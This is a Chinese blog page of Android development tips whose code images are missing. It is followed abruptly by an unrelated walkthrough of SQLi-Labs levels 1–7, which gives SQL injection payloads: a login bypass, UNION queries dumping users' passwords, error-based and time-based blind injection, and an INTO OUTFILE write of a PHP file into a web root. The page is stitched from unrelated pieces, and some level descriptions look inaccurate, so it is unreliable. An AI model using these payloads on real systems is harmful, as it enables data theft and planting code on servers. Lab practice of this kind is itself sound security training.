Android实践技巧

Android实践技巧

一、随时随地退出程序

比如我打开了一个Activity,接着又打开第二个Activity,然后又打开第三个,当我想退出程序时需要按下三次Back建才能退出,有一个方案可以让我们随时随地退出程序
新建一个ActivityCollector类作为活动管理器
在这里插入图片描述
在这里插入图片描述
我们通过list来存储活动,当我们新增一个活动时就调用addActivity方法,摧毁一个活动时就调用removeActivity方法,如果想要退出程序就调用finishAll方法关闭所有活动。如果你还想要杀掉当前进程,就调用android.os.Process.killProcess(android.os.Process.myPid(),myPid方法用来获取当前进程id。

二、启动活动的最佳写法

比如我要在MainActivity上启动SecondActivity,但我们不知道SecondActivity需要哪些数据,因此我们需要去阅读SecondActivity的代码,有一种方案可以很方便的知道要传递哪些数据。
我们可以在写SecondActivity时添加一个启动SecondActivity的静态函数,将需要的数据作为该函数的参数传入。然后我们在MainActivity中直接调用SecondActivity.该函数(),根据该函数的参数我们就知道要传入哪些数据。
在这里插入图片描述
在这里插入图片描述
以后我们创建Activity时顺便都写上actionStart函数,这样要启动该Activity时就知道要传入哪些参数了。

三、定位控件的重要技巧

比如我们定位了一个控件,想让另一个控件占满剩下的水平空间,就可以将另一个控件的width设置为0dp,layout_weight设置为1。垂直空间也是同样的道理。

四、在手机和平板上显示不同布局

如果要在手机和平板上显示不同的布局怎么办呢?有两种办法:
1、使用限定符
新建一个文件夹叫layout-large,在该文件夹下新建一个布局文件也叫activity_main.xml,如果是平板,则会调用layout-large文件夹下的布局文件,如果是手机则会调用layout文件夹下的布局文件
2、使用最小宽度限定符
使用large限定符有一个问题,这个large到底多大呢?我们不知道。我们还可以使用最小宽度限定符来实现。最小宽度限定符允许我们对屏幕的宽度指定一个最小值(以dp为单位),以这个最小值为临界点,屏幕宽度大于这个值的设备就加载一个布局,小于这个值的设备就加载另一个布局。比如在layout-sw600dp文件夹下新建布局文件,当屏幕宽度大于600dp时就会加载这个布局,当屏幕宽度小于600dp时就会加载layout文件夹下的布局文件。

五、网络请求的封装

因为网络请求经常用到,因此我们将它封装起来,在需要时调用。
在这里插入图片描述
在这里插入图片描述
但是需要注意最终的回调方法是在子线程中进行的,我们不能在子线程中更新UI,需要利用runOnUiThread方法进行线程转换。

六、AsyncTask的用法

AsyncTask是一个抽象类,如果我们想要使用它,就必须创建一个子类去继承它,并实现它的四个方法。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值